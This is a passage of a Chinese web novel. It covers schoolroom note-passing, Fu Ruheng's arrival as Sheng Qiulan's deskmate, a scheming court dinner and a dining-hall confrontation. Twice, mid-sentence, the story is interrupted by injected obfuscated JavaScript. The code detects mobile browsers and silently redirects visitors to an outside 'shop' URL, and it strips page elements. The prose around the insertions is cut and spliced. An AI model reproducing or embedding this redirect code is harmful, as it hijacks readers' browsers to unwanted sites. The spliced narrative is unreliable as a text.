在长孙胜不远处的亭子里面,盛秋阑还看见了林辞殊,后者独自一人坐在长凳上面,就连吃饭都是细嚼慢咽。 “我能不能和你一起啊。” 听到声音,林辞殊抬起眼,咽下口中的东西:“好。” 盛秋阑坐在了她的旁边,正打算找长孙胜,就看见对方已经离开了那一块假石,端着自己吃到一半的饭菜过来。 “都在这儿啊。” 两人的饭菜放在最中央的桌子上面,盛秋阑终于打开食盒,里面沉甸甸的,放的都是她平常喜欢吃的菜。其中的分量不少,她大方地放在了两个人面前:“你们吃吧。” 长孙胜早就对上面的红烧肉眼馋了,丝毫不客气的拿走了一大块,软糯的肉塞在口中,一咬就碎,里面的汁水溢满口腔。 他眼睛一亮:“你们家的厨子做饭真好吃。” “那当然,”盛秋阑把那一份肉往他面前送了送,还不忘夹走其中不太油腻的一块,放在林辞殊面前,“你也吃。” 林辞殊平常独来独往,唯有作为同桌的长孙胜和她稍微亲近一点,但是也顾忌着男女有别,平常没有太多交流。 京城中的人大多有从小一起玩的同伴,她却对这块地方没有真熟悉,刚刚来京城的时候还适应了不少时间。 因为小时候在闽中生活,林辞殊的口味偏向清淡,盛秋阑却从中尝到了熟悉的味道。 江南一带的饭菜口味偏向清淡的甜口,但是京城当中却不是这样,不过因为从小都是这样的调配,盛秋阑渐渐也熟悉了这种口味。 她手里面抓着一个鸡腿,终于有机会向长孙胜道谢:“今天谢谢你了,我本来都想要站起来了。” 林辞殊闻言也把目光转向长孙胜,她是第一次干传纸条的事情,被收走的纸条上面还留着她的笔迹,从来不会违背长辈意愿的她什么时候干过这种刺激事,卫先生提问的时候出了一身的冷汗。 “没事,本来就是我传得不行,话说起来,你改天教教我,下次我绝对不会这样了。” 有人愿意听,盛秋阑兴致勃勃地传授自己的秘籍:“传纸条主打一个快、准、狠。快就是出手要快,不要用手臂带动,轻轻转一下手腕就好;准头这个没有办法,只能熟能生巧。” 长孙胜听得聚精会神,就连林辞殊也在一旁认真看着:“那狠呢,难道是眼神要狠,这样会不容易被发现吗?” 盛秋阑高深莫测:“狠,就是被发现之后认错要狠,你在这一点上面已经很有天赋了。” 长孙胜原以为她能够说出什么独门秘籍,闻言满眼鄙夷地看向她:“就这样?” 盛秋阑:“你以为这很简单吗,这可是我经过很多次的经验之后才得来的。” “难道你之前也这样干过?可是这不是你第一次上学吗?” 盛秋阑话被堵在口中,她总不能说自己原本已经上了十多年的学了吧,说出来可能会把这些小孩们吓死。 “反正我就是知道。” 长孙胜也没有管,他跃跃欲试,想要试试刚刚得知的秘籍:“今天下午正好有一节廖博士的课,他上课从来不会管我们,能够试试准头。” 他们吃得差不多,各家的下人帮忙把已经一扫而空的食盒收起来。 盛秋阑今天胃口大开,肚子都微微鼓起来,她从椅子上面跳起来:“我还是第一次来学堂里呢,你们带我来逛逛。” 学堂里面没有设置参观环节,不过她有两个提前来上学的好友,根本不需要自己摸索。 林辞殊走在前面,温温柔柔地讲解每个场所的作用,长孙胜则在一旁悄悄介绍经过的人。 “那是刚刚升官的吏部侍郎的嫡长子,那是大理寺卿的孙女……” 长孙胜在京城生活这么久,对各家的来往和亲疏全都如数家珍,不管是哪家有矛盾还是哪家之间有过娃娃亲,好像没有什么是他不知道的。 “你怎么这么清楚?” 盛秋阑对这些人家之间的关系不清楚,林辞殊更是不熟悉,两个人听着长孙胜侃侃而谈,几乎要把所有人的关系和家中的站队全都扒得一干二净。 “我家是做买卖的,自然对这些稍微清楚一点。” 长孙胜身上的衣服一看就不是便宜货,而且他像是格外偏爱亮色的衣服,不管是袖口还是配饰上面全都绣着金纹和金线。 能够来这里上学的自然不是普通人,盛秋阑原本也没觉得如何,听到他这样说,随口问道:“什么买卖?” “就是运输一些盐铁,然后京城中大部分的酒楼也都是我家的。” 盛秋阑被自己的口水呛了下,她一改刚才随意的态度,正色向长孙胜伸出手:“刚才是我冒昧了。” 没想到长孙胜看上去不是很聪明,背地里居然是首富之子。 万一以后自己没有攒够去江南的钱,这不就有了另一个方法了? 难怪都说多个朋友多条路,这已经不是多条路的事情了,这是多了个银行啊。 长孙胜被她眼睛里面的热切吓了一跳,他挠了挠头,握住了她的手:“没事,以后想去哪里吃饭可以带上我。” 有你这句话就够了。 盛秋阑晃了晃他的手,还不忘拉上林辞殊一起,强行把三只手搭在一起:“一起一起。” 这可是免费的午餐,行走的金库啊,不吃白不吃。 林辞殊话比较少,但是大抵是被盛秋阑所感染,也难得加入了交流:“不过京城里面的酒楼我大多吃不惯,不知道有没有清淡些的。” “我们家之前收购了一家快要倒的酒楼,专门请了厨子做些南方样式,到时候带你们去试试,若是还吃不惯就再去找些厨子,保管让你们满意。” 盛秋阑咋咋称奇,不愧是京城首富,嘴巴一张一合就是大手笔。 长孙胜来到学堂里面这么久,还没有见过如此投缘的人。 其他人大多和家中交情较好的同伴们一起,行为举止当中或多或少都有长辈的影响或是授意,他的身份摆在这里,不是没有想要与他较好的人,但是长孙胜看出他们背后的意思,也不想与他们带着目的亲近。 现在盛秋阑来了,可就有意思了。 “不如就今日下学之后吧,我带着你们去。” 谁知刚才还兴致勃勃商量的盛秋阑却开始犹豫起来,她防腐想到了什么,含糊不清地说:“今天有事,明天再说吧。” “今日教授没有留作业,正好空着,你要干什么?” 盛秋阑想到了此时应该一个人在侯府的傅如珩,虽然原本打定主意要放假之后再回去告诉他,但想了想还是有些不忍心。 算了,谁让她气量比较大,而且哄也不好哄。 “今天我要回家。” 林辞殊在一旁表示理解:“第一天上学想家也是正常的。” 毕竟是这么小的小孩,怕周围有同龄人陪着,终归是有不适应的地方。 闻言,长孙胜也不再坚持:“行吧行吧,那就明天再说。” 下午教的是算术,如长孙胜所说的那样,教算数的廖博士是个年纪比较大的老头,鼻子上夹着个老花眼镜,拿着粉笔在台上喋喋不休地讲着算术技巧。 相比起上午的安静听话,此时台下的小孩儿有些骚动。有玩桌子上的摆件的,有和旁边的同桌说小话的,个个屁股不安分的乱动,几乎看不见认真听博士讲话的人。 林辞殊原本算是班上唯一几个认真听讲的人,但今天也被前面和旁边的动静吸引了。虽然手上还记着笔记,但是眼神却时不时瞄向旁边。 长孙胜正如中午所说的那样,锲而不舍的往盛秋阑桌子上扔纸条。他平常总是去外面玩投壶,在几次失败的尝试之后,渐渐摸到了其中的技巧,纸团扔得一个比一个准。 盛秋阑向他投来了一个孺子可教的眼神,乐得有人在课上陪她消遣,甚至还展现自己的独门秘籍——以各种不同的姿势向他投纸条,甚至能够判断纸条飞向的方位。 林辞殊打开其中一个跑到他桌子上面的纸条,上面画了一个略显粗糙的笑脸,旁边是一块有着很多裂缝的石头。 “惭愧惭愧。” 在它上面写着笔迹狂放的句子:“大哥,你真是太厉害了。” 这个字迹一看就知道出自谁手。 林辞殊有些犹豫地看了一眼台上的博士,在心里面忏悔了三秒,随后拿起旁边的笔,在石头旁边写:“好别致的石头。” 看得出她不敢扔,长孙胜帮忙把纸团丢到前面去,不过这次他稍稍偏了一点,纸团在距离桌子还有一段距离的时候就掉了下来,落在地上,顺着滚到了旁边。 盛秋阑头都没偏,眼珠稍稍一转,看见了落在地上的纸团。 纸团的落点和它有一些距离,盛秋阑原本想要用脚把纸团勾过来,却没想到低估了自己的身高,脚尖用力绷直,结果还差一大截。 她听到了身后传来控制不住的“噗嗤”声,恶狠狠地转头一看,长孙胜你已经趴在桌子上头埋在胳膊里面,身子一颤一颤的,露出来的耳朵已经笑得通红,就连旁边的林辞殊都忍不出露出了一抹清浅的笑意。 盛秋阑:“……” 她恼羞成怒,不就是个子稍微矮一点吗? 她还小,之后肯定还能长高的,上辈子她可是有整整168.7。 一计不行,盛秋阑还有方法,她手指微微移动,架在旁边的毛笔顺势掉下来,从桌沿旁边滚落下去,慢慢和纸团的方向靠近。 她从椅子上面弯腰,把毛笔捡起来,顺便把纸团也给抓在了手上,一套动作行云流水,没有个十几年的躲班主任经验绝对抓不住破绽。 后面的人早已经看得目瞪口呆,看着盛秋阑把纸团抓在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花草不能说话,也就不能对她的画进行评价,盛秋阑就拿着自己给别人的画像跑去邀功。 “娘亲,看看这是什么?” 贺兰谨满脸笑容地接过纸,本来想着不管画成什么样,她都可以好好夸一顿,毕竟这是盛秋阑第一次画画,总要给孩子一点鼓励。但是在看到纸上面的内容的时候,脸上的笑容还是不可遏制地僵了下来。 夸是要夸的,不过能不能先告诉她这是什么。 一个形状不算规则的圆形。下面要比上面稍窄一点,勉强能够看出这是一张脸,上面有一个横着椭圆形,用墨水点了一下颜色,看起来像是露了馅儿的汤圆,里面的黑芝麻已经流出来了。 盛秋阑主张写实派,尽力想要把上面的所有细节全都画出来,包括眼睛。眉毛用细毛笔一根一根描出来,但是因为墨水在纸张上面化开来,看起来就变成了又粗又长的一条,如同两根钢条横在上面。一双眼睛画得又大又圆,却因为睫毛导致看不见旁边的眼白,像是围了一圈又厚又浓的黑眼圈,原本应该是鼻子的位置则恍若一个听诊器,最下方的嘴巴画得很小,点上了一抹红色。 贺兰谨尬笑两声,还是保持着柔声细语,想着孩子总是要多鼓励的。 她看着盛秋阑满眼期待的眼睛,实在不忍心说这是谁,歪着脑袋猜:“这是不是一个雪人?” 盛秋阑摇摇头,给了点提示:“这是一个人哦。” 还真是一个人啊,贺兰谨默默想了想,觉得府中实在没有谁长成这个样子,脑海中跳过了很多个人选,却总也不能够把他们与画上的人脸给对应起来。 盛秋阑迫不及待地想要得到评价,又甩出一个提示:“远在天边近在眼前。” 此话一出,原本在一边笑着看她们互动的丫鬟们全都收敛起来了笑容,她们重新看了看那张纸上面的人物,欲哭无泪:“小姐说的应该是不会是她们吧。” 贺兰谨目光扫视了一圈,实在看不出来这是谁,她无奈道:“阑阑要不还是直接告诉我吧,娘亲实在猜不到。” 盛秋阑兴奋地把纸张比在贺兰谨的旁边:“就是娘亲啊,看看这多像。” 贺兰谨有些震惊地看了看史上面人不人鬼不鬼的图画,但是看盛秋阑还在一边等待着她的夸奖,又实在不好打消她的积极性,勉强笑着说:“啊……刚才没看出来,现在知道了,确实……画得很好。” 盛秋阑大方地说:“那这幅画就送你啦,这可是我画的第一章画。” 贺兰谨听到这话还是不忍心了,她把画收起来,给地一旁的女侍:“帮我放起来吧。” 盛秋阑还在一边开心地说:“我还要给爹爹,哥哥们、祖父……还有傅如珩都画一副。” “好。”贺兰谨揉了揉她的脑袋,看着盛秋阑迫不及待回到自己的房间,她本想要拿起刚才的画再看一眼,但是手放在卷轴方面,又失去了勇气。 “就帮我放在箱子里面吧。” 那之后的几天,盛秋阑听说娘亲让人去胭脂坊里面买了很多护肤的珍珠粉和蜜粉,就连平常出去也打扮得更加精细。 本就是名动京城的美人,要不是已经嫁入侍郎府,肯定有不少人计划着想要求娶,根本不像是三个孩子的母亲。 她正琢磨着要在什么时候把画给傅如珩送出去,没想到第二天人就来找她了。 正好,盛秋阑把画像递给他,如法制炮地问了同一个问题,没想到傅如珩都没有等到她给提示就回答出来了。 “这是我?” 盛秋阑颇为兴奋地说:“对了!” 这几天她给很多人都送过画像,没想到不管是谁,看到这幅画都不能马上猜出来,总是让她提示很多才能够勉强说出答案。 傅如珩是第一个不用她教就能够猜出来的人,虽然对方表情上好像有点嫌弃,但是她不计较这些小细节了。 她就说,她画的还是很像的。 都不用盛秋阑主动,傅如珩重复看了看这张画,把它小心翼翼地卷起来:“我带走了。” “准了。”盛秋阑打了个响指,“想要的画我再给你画。” 回忆到这,盛秋阑有些郁闷地看了看面前的小纸条。 她之前握笔还不熟练,现在明显技艺比那时候要更好了,虽说也好不到哪里去,但是也不至于啥都看不出来吧。 哎,有点想傅如珩了。 26. 同桌 下学之后盛秋阑一眼就看到了等候在门口的丫鬟们,她今天第一天正式上学,虽然其他人面上没有表现出来,但是实际上全都关心着情况。 盛秋阑坐上马车,顺着今天早上的路线回到了侍郎府,都没有给她拐弯的机会,直接被请到了府中央。 “今天感觉怎么样?” 盛秋阑给母亲细数成果,当然把自己在课上做的那些小动作给忽略了:“我遇见了好多小朋友,还有林辞殊和长孙胜和我交朋友。卫先生教我们认字,廖博士……” 贺兰谨原本还在担心盛秋阑开学太早会不合群,再加上是中途插班进来的,虽然之前已经征求过盛秋阑的意见,但还是担心她会不适应,听到他这么说就放下心来。 “那就好。” 盛秋阑吃完饭,却没有立刻离开,反而坐在座位上期期艾艾。 盛怀德看出她有事情想要说:“怎么了?” “我想要去找傅如珩,他还不知道我去上学了。” “去吧。” 得到许可之后,盛秋阑小步跑到对面,没想到开门的侍卫却告知:“四少爷和老爷出去了,现在还没有回来。” 傅如珩平常在侯府不受重用,就算傅鸿元要带小辈去和别人打好关系也应该是傅皓轩,怎么想都轮不到他。 盛秋阑猜不透傅鸿元的想法,只好原路回去。天色已经变得昏暗,东边升起来了月亮的轮廓,是一轮半月。 只能等下次了。 . 傅如珩坐在一座繁华的酒楼上面,两边的门窗都是封闭的,繁华成都与鎏金楼不相上下,隐私性却比那边更好一些,每个包厢里面都隔着一段距离,不用担心隔墙有耳。 傅鸿元与对面的官员遥遥举杯,一搂垂下来的袖子,笑着饮下杯中的液体。 “侯爷真是客气了,还特地邀我来共同赴宴,这是出何雅兴啊?” 对面的官员已经换下了朝服,看不出官职几品,但看着傅鸿元的态度就能够知道身份不低。 他话语中客气,眼底却闪着打量和谨慎。 “刘兄真是客气了,不过我今日还真有一个不情之请,听闻太子殿下已经被陛下示意接触朝堂政务?” 都是在朝廷中的老狐狸,言语交锋之间不用点明就能够知道对方的意思。 那位刘官员也不是个白混的,他话语之间含糊不清:“这个我还真不太清楚,也都是看陛下的意思。咱们只要负责辅佐在身边,不管未来是谁继承皇位,不都是为了天下吗。” 还是个不好对付的。 傅鸿元心中冷笑,面上却丝毫不变:“话是这样说的,只是这种时候总不能独立在外面。毕竟这储位之争,后面可是有很多人盯着呢。” 话说到这里,他的来意也明了了,刘官员本身就不是个安分的,收下邀请之后自然是心中衡量过,不然也不会出现在这个地方,这次赴约也是想看看傅鸿元是什么算盘。 “听侯爷这个意思,是有什么想法?” “从古至今,这皇位背后就纷争不断,不但是皇子们的较量,背后更是各方博弈。明人不说暗话,如果在这个阶段没有选好人,之后等到大局已成,就不像是现在那么轻松了,刘兄应该也清楚吧。” 刘官员当然清楚,皇位之争向来不是和平的,不乏有兄弟反目成仇的事情,更有杀戮兄长造反上位的暴君。 这个位置一直都是血腥不断,选对了人之后可能直接升官,仕途一帆风顺,被新皇提拔,连带着整个家族地位上升,反之则可能连命都保不住。 见他若有所思的样子,傅鸿元知道这一趟的目的达成了。 他哈哈一笑端起手上的酒杯,又和刘官员碰了一下:“不说这么多了刘兄,咱们难得聚一下,不知道令郎最近如何?” “还是那样,在学堂里面读书,不过是资质平平。” 刘官员看向坐在傅鸿元旁边全程一言不发的傅如珩,他早就好奇了:“这是?” 傅如珩在一般聚会中不常出现,都是傅皓轩陪在身边,也难怪他不觉得眼熟。 傅鸿元押了一口酒,慢悠悠地介绍:“这是我们家的老四,平常不怎么出来,不过和侍郎家的千金还算熟悉。” “原来如此。”刘官员多看了两眼,“说起来,盛家好像把他们千金送去童舍了。” 傅如珩的表情终于变了,他抬起头,看了一眼说话的人。 盛秋阑前段时间脚伤,不可能去上学,再之前更是每天和他呆在一起,那就只有可能是伤好之后。 可是昨天对方来找他的时候却只字没提这件事。 “这样。”傅鸿元若有所思,他还不知道这件事,“不过盛家千金的年岁还差了点吧。” 刘官员也是听说的,听到傅鸿元提起来才顺嘴透露消息:“这就不清楚了,不过我看令郎也到了该上学的年纪。” 这是在试探傅如珩在傅家受重视的程度,毕竟光靠傅鸿元一张嘴,谁也说不清楚两个人私下的关系如何。 傅鸿元笑着说:“是有这种打算,多写刘兄提醒。” 两人各怀心思吃完这顿饭,回去之后,傅鸿元进入书房,傅如珩按照他的要求等在门口。 没过一会儿,里面传来声音。 “进来。” 傅如珩跪下行礼,抬头看见傅鸿元脸上已经不见了刚才在饭桌上面的笑容,语调冷漠:“明天去上学,我已经联系好了。” “是,父亲。” . 盛秋阑才上了一天学,生物钟还没调整过来,今天被碧云叫起来的时候已经来不及了,她顶着一个鸡窝头,后面的迎春还拿着梳子跟在后面:“小姐,头还没梳。” “来不及了!”盛秋阑匆匆接过碧云拿过来的饼,都来不及坐下吃就跳上了马车。 口袋里面鼓鼓囊囊,是碧云怕她一个饼不够吃硬塞进去的,盛秋阑在颠簸的马车当中吃完了一整张比她连还要大的饼,再也没有其他的胃口了。 她有些有仇地看着自己的口袋,到时候问问有谁还没吃饭吧。 紧赶慢赶,盛秋阑终于在先生进教室之前坐到了自己的位置上,她的头顶乱蓬蓬的,头发勉强用一根发带扎成了一束,是自己在车上绑起来的。 听着她趴在桌子上传奇的声音,长孙胜忍不住探出头问:“你怎么这么晚。” “起晚了。” 长孙胜对此非常有经验:“没关系,你就说路上堵车了。” 怎么从古到今都有这个理由啊。 盛秋阑想要打开他的脑袋看一看:“咱们学堂建在那么偏的地方,怎么可能会堵车?” “非也,”长孙胜高深莫测,“你应该知道我们之后要上中舍吧,虽然那边的学子大多是住在学堂,但也有每日回家的。通往中舍的路和我们是同一条,又因为刚刚搬过来,周边还没有修好,若是堵住了也是情有可原。” 林辞殊在一旁看了他一眼:“所以你之前和卫先生都是这样说的?” “对啊。” “那你知不知道中舍上学比我们早半个时辰。” 长孙胜虽然对京城当中各家的关系说得条条有理,但是还真不知道中舍上学时间比他们早这么多。 林辞殊有些怜悯地看着他,像是关心某些弱智儿童:“卫先生肯定知道,只是他没有点出来而已。” “难怪每次我迟到的那几日先生总是抽我背书,那他怎么不明说,我还以为自己的借口找的很好呢。” “大概是没想到有人真的能把一个理由用十几次吧。” 挂在墙上的时钟一分一秒地转动,但是卫先生还没有来。 “今日先生怎的来得这么晚?” 话音刚落下,卫先生就进到了教室里面,他身后还跟着一个男生:“这是你们的新同窗傅如珩。” 没想到在短短两天的时间里面来了两个同学,傅如珩长得很快,比班上不少人要高了,虽然面无表情,但是架不住五官优秀,剑眉星目。哪怕身上衣着不显眼,也盖不住浑身的优越气质。 小孩总是会对长得好看的人心生好感,昨天盛秋阑上台的时候同样有很多人看着她,后来又因为她分糕点,更是直接俘获了一批小孩的芳心。傅如珩虽然远没有盛秋阑看起来那么好相处,但是光凭这张脸也有很多人愿意交往。 被众人关注的男生没有理睬其他人的目光,他在教室里面扫视了一圈,直接把眼神盯在了唯一空着的一个位置上面。 盛秋阑已经傻眼了,她没想到会在这里看见傅如珩,而自己竟然一无所知。 “你去位置上坐下吧。” 听到先生的话,傅如珩径直走到了盛秋阑旁边。 后者昨天自创的“霸王椅”还没有恢复原装,独自一人占了两个位置,现在另一个主人回来了,却因为力气太小没有办法把两个椅子分开。 盛秋阑废了九牛二虎之力,终于在两条椅子当中拉开了一道小的缝隙,勉强给傅如珩留出了一个完整的空位。 只是他们之间的距离相比起其他人还是太近了,傅如珩看见明显和其他人不同的座位,竟然也没有说什么,径直坐下来了。 盛秋阑微微睁大了眼睛,用气音说:“你怎么不把椅子移过去一点?” 她的姿势不方便,但是傅如珩可没有这个顾忌,怎么就这样坐下来了。 傅如珩好像并不觉得有什么不对,反问道:“你不是帮我移开了吗?” 他坐下来之后,两个人之间的距离几乎可以忽略不计,两只胳膊稍稍一动就能够碰到,但是盛秋阑和他相处惯了,除了感觉有些拥挤之外,就随他去了。 台上卫先生已经开始讲课,盛秋阑的注意力却全然没有放在内容上面。 她还是没想到傅如珩居然就这样成为了她的同桌,把书本挡在自己的面前,借着他们之间极近的距离,都不用特地凑过去,用只有两个人能够听到的声音问:“你怎么过来了,我都不知道。” 傅如珩分了她一个眼神,声音平淡,听不出情绪:“你不是也没告诉我吗?” 盛秋阑哑口无言,这件事确实是她先不对:“但是我昨天是想要去找你的,他们说你不在。” 她想到了傅如珩看见她时一点都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100209|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶的样子:“你什么时候知道的,而且你爹这么久都没有让你来上学,怎么现在突然转变主意了?” 像盛秋阑这种半路插班的算少数,大多是在开学到时候才会送进来,所以其他人看见接连来了两个新同学才会惊讶。 傅如珩想到了昨天听到的对话,不想过多解释:“不清楚。” 后面的长孙胜早就有满筐子的问题想要问,但是看两个人聊得正欢,又没有打扰,抓耳挠腮地看着他们,终于等到对话告一段落,把纸团扔过去。 他出手偏了一点,纸团落在了傅如珩的右手边。 傅如珩看着落在手边的纸团,还没有来得及拿起来,就感觉到左手臂被人撞了一下,转头看见盛秋阑鬼鬼祟祟地向他勾手指。 傅如珩:? 他拿过纸团,看见盛秋阑肯定一般点点头,她正想要接过纸团,没想到傅如珩却猛地收回了手。 盛秋阑下意识抬头看了一眼卫先生,见他还在捧着书本,没有看见这边的动静,又推了推傅如珩。 “快给我。” 傅如珩看着纸团,不知道在想什么:“我能看吗?” 盛秋阑也不知道他在矫情个什么劲,他们一向是在一起的,怎么这时候还要假惺惺地询问她的意见:“那你看吧。” 傅如珩的眉头松了一点,当着盛秋阑的面打开了纸条,里面的内容明晃晃地展现在两个人面前:你们什么关系? 他这时候倒是听话地主动把纸条放在盛秋阑的手上,只是依旧没有认真听讲,明目张胆地看着盛秋阑回复。 “你不是都知道吗?” 长孙胜看着传回来的纸条,更加理不清思路了。 他当然知道傅如珩的身份,京城里面姓傅的人家屈指可数,但是说实话侯府的作风一向是他们家所看不惯的,更何况还有傅皓轩这个声名远扬的纨绔子弟在外,怎么想盛秋阑都扯不上关系。 他原先只听说侯府家有个不受宠的少爷,但是像这种子嗣多的人家,不受宠的庶子多了去了,哪能每个都知道名字。 而且听父亲说,最近侯府好像不是很安分。 傅鸿元做事一向谨慎,但是长孙家既然做的是运输生意,消息渠道自然也更多一些,那些小动作在风言风语中来到他们耳边,也就耳濡目染了一些。 长孙胜还想要说些什么,但是想到自己刚才看到的两个人不掩亲密的动作,还是暂时压下了心中的想法。 卫先生在台上讲了半天,终于喝了一口茶,留下了今日的功课:“回去把自己的名写十遍,明日收上来。” 真是怀念啊,已经很久没有见过如此朴实无华的作业了。 盛秋阑在心中吹了一个口哨,甚至都没有等到下课,随手就在本子上卸下来一串。 她先前学过毛笔字,所以写字对她来说不算难,唯一的不足就是现在手还没有这么大,所以控制不好力度,速度慢了很多。 她满意地把最后一个字收尾,转头去看傅如珩写的。 她还没有这样认真看过对方写字,傅如珩的毛笔字相比她更加潇洒一点,笔画相连处连贯,可以说是赏心悦目。 盛秋阑看着看着,突然起了一点心思:“你写错了。” 傅如珩刚刚蘸了蘸砚台中的墨水,正想要写最后一遍,头也不抬:“哪里错了?” 盛秋阑指着他名当中的最后一个字:“这应该是衍才对。” 长孙胜草草写完几张纸,听到他们的对话,奇怪道:“为什么?” 没等盛秋阑胡编乱造一些莫须有的故事,傅如珩点出实情:“她小时候说不了几个字,又想叫我名字。就只能喊叠词,但是因为口齿不清,所以说出来就像是小猪哼。” 盛秋阑没想到傅如珩这么不给他面子,居然就这样吧事实讲出来了。 因为珩的发音实在是太过相似,说到第二声的时候总是变成了轻声,听起来就像是“哼哼”。 被傅如珩无情点出来之后,盛秋阑就不肯再叫他,又觉得没有名字不礼貌,最后自顾自给他取了个别称。衍因为长得像珩字,而且朗朗上口很多,所以就选了这个名字。 只是自从盛秋阑能够开始清楚说话之后,她就很少再这么叫他了。 被爆出来黑历史,盛秋阑更是不肯放过他,在脑海中搜索傅如珩的黑历史,却沮丧地找不到反驳的地方。 傅如珩成熟的太早了,而且没有一般小孩子那样幼稚,一时之间都想不到对方难堪的样子,倒是自己有过不少丢人的时候都被他看见了。 “哎,你几岁尿床的?”盛秋阑不甘心,转头去问当事人讨教。 傅如珩被她吵的不行,拿出另一张纸,在上面写上“傅如衍”三个字,然后拍在她面前:“闭嘴。” “哦!”盛秋阑拿到纸张,“这是专属于我的吗?” “是,只有你能叫。” 那多不好意思,显得她有多特殊一样。 盛秋阑捧着这张纸,乐滋滋地和自己的东西放在一起。算了,这个就当以后带傅如珩去江南的路费了。 她这人,就是仁义! 27. 江南菜 盛秋阑说话的时候,原先随意绑着的马尾松散了一些,几缕头发落在肩膀上。 傅如珩看着别扭:“转过来。” “哦。”盛秋阑问都没问,直接把后颈露在他面前。 傅如珩伸手把她的发带扯下来,盛秋阑还不太会用发带,绑的时候也只是随意绕两圈,唯一要求就是不会掉。 几丝头发与发带缠绕在一起,傅如珩耐心地将它们一一分开,一点都没让女孩感觉到拉扯,手指穿过如瀑般的黑发,很快编成了干净整洁的辫子。 盛秋阑任凭他为自己束发,听到傅如珩说“好了”,甚至都没有看第二眼,直接坐起身来。 两人之间的互动实在太过旁若无人,一看就是早已习惯了。 时候不早了,几个人拿着饭盒打算去昨天的小亭子当中,他们吃饭的部队渐渐壮大,盛秋阑从碧云手中接过饭盒,门口却看不到侯府家的下人。 “你的仆从什么时候送饭来啊?” “他们不来,我在膳堂里面吃。” 若是傅如珩不说,盛秋阑差点忘记了学堂里面也提供饭菜,只不过因为班里基本所有人都拿着饭盒,她也忘记了这一点。 “那我也陪你过去吧。”盛秋阑理所当然地说。 她去跟长孙胜和林辞殊解释,没想到两人也主动跟过来:“正好我们也换个地方,今天外面风大。” 膳堂相比起其他地方要冷清很多,里面只有零星几个人在用餐,而且每个人之间都隔着不少距离,像是刻意分开,所以盛秋阑一众人进来的时候格外显眼。 他们随意找了一张桌子,因为很少人在这里用餐,学堂里面的食材供应也很少。 其实一开始菜品种类还是很丰富的,只是带饭这件事一旦有人开了头,其他人也跟着效仿,谁都不肯落后于别人,显得自己在家中不受宠,就连几个在膳堂里面吃饭的人也都是低着头不想让别人看到自己的脸。 难得来了几个新面孔,有人没忍住抬头看了一眼他们,目光落在已经打开的食盒上面,如同被烫到一般移开了眼神。 他的位置与盛秋阑有些距离,自以为小声地说了一句:“有人送饭还到这边来吃,谁知道报的是什么心思?” 一道阴影落在面前的饭上,他惊慌地抬头,傅如珩自上而下看下来,面色很冷:“你刚刚说什么?” 那人一开始还有些心虚,但是看见傅如珩手上是和自己一样的饭菜,觉得自己也没有低人一头,甚至因为自己是先来的而莫名有种高人一等的姿态。 他自以为猜透了对方的想法:“你以为自己帮他们说话他们就会感谢你吗,不还是让你自己在这里吃饭?” “真以为帮他们说几句话就会欢迎你吗,谁知道背后是怎么说的?” 虽然在家里面不受宠,但是一开始被送进学堂的时候,他也以为父亲对自己还是有几分期望的,不然怎么会花银子把他送到这里来,光是一年的学费就是不少的数量。 看着身边的人中午都有人送饭过来,而自己只能吃膳堂里面单调乏味的饭菜,他抱着那一点期待,回到家中期期艾艾地提出了自己也想要,本以为父亲能答应,没想到却面对的是不耐烦的责骂。 “要不是为了家里的面子我才不会把你送过去。” 他一听这话就知道了自己原先不过是一厢情愿,他终究是被放弃的那一个。本以为迟来的关心也不过是维持面子的一个举措,至于那些银子对父亲来说也只是这其中的必要支出罢了。 都是因为这该死的身份! 那面前这个人又怎么好意思来指责他,明明身上穿的也不是名贵的布料,他们的身份本该是一样的,还一定要做出这副清高的样子。 他不是没有尝试过,试图去讨好平时那些穿着金贵的公子们。 如果能够跟别人打好关系,父亲或许也会觉得他不是没有用的人,之后能够高看他一眼。 这个年纪早已经懂得了看人脸色,他努力去忽视落在身上的眼神,假装听不懂背后的讥讽。终于在他认为自己已经和那些人变得亲近时,他听见自己平常笑脸相迎的人在背地里面嘲笑。 “看他那个样子,还真以为能跟我们一起玩,不过是逗逗他而已,还当真了。” “别这么说,至少这还挺好用的,我平时的功课都不用自己写。” 在那时候他就知道了,身份和阶级这堑沟是他永远都跨不过去的,他一出生就已经决定了与这些嫡子的不同。 哪怕年纪还小,他却已经明白了这个道理,现在不过是把自己原先的经验告诉对方而已。 这也是好心提醒,让傅如珩不要重蹈覆辙。 没成想傅如珩却丝毫没有被他这番苦心劝告影响,眼中闪过了一丝厌恶,居高临下的神态让他感觉到自己像是被侮辱了,正如当初听到那些嘲笑的话一样。 他面色涨得通红:“难道我哪里说错了?” 傅如珩看了一眼不远处正在往这个方向张望的女孩,她面前摆着的食盒与自己的比起来简直可以说是天差地别。明明全都是喜欢吃的菜,上午还嚷嚷着很久肚子饿,现在却依旧原封不动地摆放着,像是在等待着谁。 面前的人因为激动说话时面红耳赤,睁着眼睛等待傅如珩的回答,他却不想再与对方废话下去了。 他怎么会懂?他怎么能懂? 那些恶意的揣测在盛秋阑面前烟消云散,根本近不了一点身。 有些人就是这么好,好到看到她就会感觉到所有肮脏都能够远去。 明明傅如珩什么都没说,那人却在他的表情当中看到了不屑。 他看着傅如珩端着餐盘走向盛秋阑,面前日日雷同、无滋无味的餐盘已经空掉了,但他没有走,还是怀抱着恶意想要继续待下去。 他倒想要看看那人后悔的样子。 “你怎么来的这么晚,那人你认识吗?” 盛秋阑看到傅如珩与别人的交谈,但是她却并不眼熟对方。 傅如珩难道什么时候背着她找了别的朋友? “不认识。” 